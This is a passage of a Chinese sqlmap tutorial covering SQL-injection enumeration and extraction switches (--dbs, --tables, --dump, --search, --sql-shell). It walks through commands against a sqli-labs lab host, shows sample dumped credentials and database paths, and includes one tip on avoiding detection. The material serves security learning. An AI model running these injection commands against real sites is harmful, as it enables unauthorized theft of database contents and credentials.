如果当前会话用户对包含 DBMS 用户信息的系统表有读取权限,则可以枚举出每个 DBMS 用户的角色。

你还可以使用 -U 选项来指定要枚举出角色的用户。

如果你提供 CU 作为用户名,它会将其视为当前用户的别名,并将获取此用户的角色信息。

此功能仅在 DBMS 为 Oracle 时可用。

## mysql数据库执行结果与--privileages一致
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --roles
列出 DBMS 所有数据库 : --dbs

开关:--dbs

如果当前会话用户对包含 DBMS 可用数据库信息的系统表有读取权限,则可以枚举出当前数据库列表。

## 列出所有的数据库
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs
枚举数据表 : --tables , --exclude-sysdbs , -D
  • 开关和选项:--tables--exclude-sysdbs-D

如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限,则可以枚举出特定 DBMS 的数据表。

如果你不使用选项 -D 来指定数据库,则 sqlmap 将枚举所有 DBMS 数据库的表。

你还可以提供开关 --exclude-sysdbs 以排除所有的系统数据库。

注意,对于 Oracle,你需要提供 TABLESPACE_NAME 而不是数据库名称。

## 先获取所有数据库名称
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dbs

## 然后再获取,当前数据库下的表
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security --tables

## 也可以不指定-D,使用--exclude-sysdbs,不查询那些数据库
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --exclude-sysdbs "challenges,information_schema,mysql,performance_schema,sys" --tables
枚举数据表的列名: --columns , -C , -T , -D

开关和选项:--columns-C-T-D

如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限,则可以枚举出特定数据表的列名。sqlmap 还将枚举所有列的数据类型。

此功能可使用选项 -T 来指定表名,还可以使用选项 -D 来指定数据库名称。如果未指定数据库名称,将使用当前的数据库名称。你还可以使用选项 -C 来指定要枚举的表列名。

针对 SQLite 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

注意,对于 PostgreSQL,你需要提供 public 或系统数据库的名称。这是因为不可能枚举其他数据库表,只能枚举出 Web 应用程序用户连接到的数据库模式下的表,它们总是以 public 为别名。

枚举 DBMS 模式(慎用): --schema 和 --exclude-sysdbs
  • 开关:--schema--exclude-sysdbs

用户可以使用此开关获取 DBMS 模式。

模式列表将包含所有数据库、表和列以及它们各自的类型。

结合 --exclude-sysdbs,只有包含非系统数据库的模式才会被获取并显示出来。

针对 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs

[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]
## 慎用,数据量惊人,必须确定指定某个库最好

## --schema 获取所有数据库中的表结构数据## --exclude-sysdbs 排除部分数据库
## 单独使用--schema 会获取所有数据库中的所有表的数据结构,需要与exclude-sysdbs联合使用,联合使用获取部分数据库结构

┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --exclude-sysdbs "challenges,information_schema,mysql,performance_schema,sys" --schema

## 查询拥有username 字段的表,并默认显示所属数据库
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --search -C username

## 建议指定 -D 所属数据库
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --search -T users --batch


获取数据表的数据条目数: --count
  • 开关:--count

如果用户想要在导出所需表数据之前知道表中的条目数,可以使用此开关。

针对 Microsoft SQL Server 目标的示例:

## 获取security数据库中所有表的数据条数
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --count -D security
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+
导出数据表条目

开关和选项:--dump-C-T-D--start--stop--first--last--pivot-column--where

如果当前会话用户对特定的数据表有读取权限,则可以导出数据表条目。

此功能依赖选项 -T 来指定表名,还可以用选项 -D 来指定数据库名称。如果提供了表名而不提供数据库名,则会使用当前的数据库。

针对 Firebird 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
 --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

此开关也可用于导出指定数据库数据表的所有条目。你只需要提供开关 --dump 和选项 -D(不提供 -T-C)。

你还可以使用选项 -C 提供一个以逗号分隔的特定列名列表来导出数据。

sqlmap 还能会为每个表生成相应的 CSV 格式文本文件用于存储导出的数据。你可以通过提供大于或等于 1 的详细程度级别来查看 sqlmap 所创建文件的绝对路径。

  • 如果只是想导出特定范围的条目,可以提供选项 --start 和/或 --stop,以指定要从哪条数据开始导出和在哪条数据停止。例如,如果仅导出第一个条目,就在命令行中提供 --stop 1。或者如果你只想导出第二和第三个条目,就提供 --start 1 --stop 3

  • 还可以使用选项 --first--last 指定要导出的单个字符或特定范围的字符。例如,如果要导出条目的第三到第五个字符,就提供 --first 3 --last 5。此功能仅适用于盲注技术,因为报错型注入(Error-based)和联合查询注入(UNION query-based)技术不管列数据条目的长度如何,发起的请求数量是完全相同的。

  • 有些情况下(例如:对于 Microsoft SQL Server,Sybase 和 SAP MaxDB),由于缺少类似的机制,无法使用 OFFSET m, n 直接导出表的数据。在这种情况下,sqlmap 通过确定最适合的 pivot 列(具有唯一值的列,一般是主键),并使用该列检索其他列值,以此来导出数据。如果因为自动选择的 pivot 列不适用(例如:由于缺少表导出结果)而需要强制使用特定列,你可以使用选项 --pivot-column(例如: --pivot-column=id)。

  • 如果要约束导出特定的列值(或范围),可以使用选项 --where。提供的逻辑运算将自动在 WHERE 子句内使用。例如,如果使用 --where="id>3",那么只有 id 值大于 3 的行会被获取(通过将 WHERE id>3 附加到使用的查询语句中)。

正如你可能已经注意到的,sqlmap 非常灵活:你可以将让其自动导出整个数据库表,或者非常精确地导出特定字符、列和范围的条目。

## -D        指定数据库
## -T                指定当前数据库下的表
## --columns  当前表结构
## -C        指定当前表的某几个字段
## --dump     获取指定表或字段列的数据
## --start    从第几行开始获取数据,例如 --start 1 获取第一行后,包括第一行的数据
## --stop    获取几行数据,--stop 3 则获取三条数据

## 获取security数据库users表数据结构
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security -T users --columns

## 获取security数据库users表中的数据
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security -T users --dump

## 获取security数据库users表的前三行数据
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security -T users --dump --stop 3

## 获取security数据库users表的数据,从第二行后,包括第二行的所有数据
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security -T users --dump --start 2

## 获取security数据库users表的数据,从第二行开始到第四行介绍; 2,3,4(从第二条开始到第四条介绍)
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security -T users --dump --start 2 --stop 4

## 自定义where 过滤语句,查询username 模糊匹配 admin ,并且password等于admin的数据
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security -T users  --dump --where "username like '%admin%' and password ='admin'"

## 查询当前表id,小于5的数据
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch -D security -T users  --dump --where "id<5"  
导出所有数据表条目

开关:--dump-all--exclude-sysdbs

如果当前会话用户的读取权限允许,可以一次导出所有数据库表条目。

你还可以提供开关 --exclude-sysdbs 以排除所有的系统数据库。在这种情况下,sqlmap 只会导出当前用户的数据库表条目。

注意,对于 Microsoft SQL Server,master 数据库不被视为系统数据库,因为某些数据库管理员将其用作用户数据库。

## --dump-all 命令与--all命令 效果差不多,都是获取表的所有数据,存储到本地
## --exclude-sysdbs 命令,是排除其他数据库,选择的数据库不进行操作
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --batch --dump-all --exclude-sysdbs "challenges,information_schema,mysql,performance_schema,sys"
搜索列,表或数据库: --search , -C , -T , -D
  • 开关和选项:--search-C-T-D

此开关允许你在所有数据库中搜索特定的数据库名和表名,在特定的数据表中搜索特定的列名

这非常有用,例如,要识别包含应用程序凭据的表,其中相关列的名称包含诸如 namepass 这样的字符串。

开关 --search 需要与以下支持选项一起使用:

  • -C,附带以逗号分隔的列名列表来搜索整个 DBMS。
  • -T,附带以逗号分隔的表名列表来搜索整个 DBMS。
  • -D,附带以逗号分隔的数据库名列表来搜索整个 DBMS。
##  模糊查询like '%%', security数据库下是否有名叫users的表;
##  一定不能使用--batch,因为表查询到后,他会询问是否导出表数据,若模糊匹配结果表非常多,导出数据会非常的漫长,并且容易被发现,这不是我们想要的结果,切记

┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --search -D security -T users   

##  模糊匹配所有数据库下是否有user表
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --search -T user

##  模糊匹配所有数据库下所有表字段,是否有叫username的列
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --search -C username
运行自定义 SQL 语句: --sql-query 和 --sql-shell
  • 选项和开关:--sql-query--sql-shell

SQL 查询和 SQL shell 功能允许在 DBMS 上运行任意 SQL 语句。sqlmap 会自动解析提供的语句,确定哪种技术适合用于注入它,以及如何打包相应的 SQL payload。

如果查询是 SELECT 语句,sqlmap 将获取其输出。否则,如果 Web 应用程序的后端 DBMS 支持多语句,它将通过堆叠查询注入(Stacked queries)技术执行查询。注意,某些 Web 应用程序技术不支持特定 DBMS 上的堆叠查询。例如,当后端 DBMS 是 MySQL 时,PHP 不支持堆叠查询,但是当后端 DBMS 是 PostgreSQL 时,它是支持的。

针对 Microsoft SQL Server 2000 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo','bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
 going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'

如你所见,sqlmap 将提供的查询分解为两个不同的 SELECT 语句,然后单独获取每个查询的输出。

如果提供的查询是一个 SELECT 语句并包含一个 FROM 子句,sqlmap 会询问你是否可以返回多个条目。在这种情况下,它知道如何解析返回的结果,逐条计算指定的条目数量,并给出相关输出。

SQL shell 选项允许你以交互方式运行自己的 SQL 语句,就像直接连接到 DBMS 的 SQL 控制台。此功能还提供 TAB 补全和输入历史支持。

## --sql-query 效率很低,相当于全表扫描
## --sql-query查询当前登录用户,数据库版本,当前数据库
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --sql-query "select user(),version(),database()"
## 结果如下:
[*] root@localhost, 5.7.27-log, security


## --sql-query查询,具体数据库存储路径
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --sql-query "select @@datadir"
## 结果如下:
select @@datadir: '/www/mysql_data/mysql-5.7.27/data/'


## --sql-query查询,数据库安装路径
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --sql-query "select @@basedir"
## 结果如下:
select @@basedir: '/usr/local/phpstudy/soft/mysql/mysql-5.7.27/'


## --sql-query查询,数据库某个表数据
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --sql-query "select * from users limit 1,2"
## 结果如下:
select * from users limit 1,2 [2]:                                                                 
[*] 2, I-kill-you, Angelina
[*] 3, p@ssword, Dummy
## --sql-shell,shell交互页面进行sql语句查询

## 开启sql-shell
┌──(kali2021㉿kali2021)-[~]
└─$ sudo sqlmap -u "http://192.168.138.20/Less-1/index.php?id=1" --sql-shell

## 结果

## 查询当前数据库管理系统,一共有多少个数据库
sql-shell> select schema_name from information_schema.schemata

## 查询当前数据库下,所有的表
sql-shell> select table_name from information_schema.tables where table_schema=database()

## 查询当前数据库下的users表,数据结构
sql-shell> select column_name from information_schema.columns where table_name='users' and table_schema=database()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值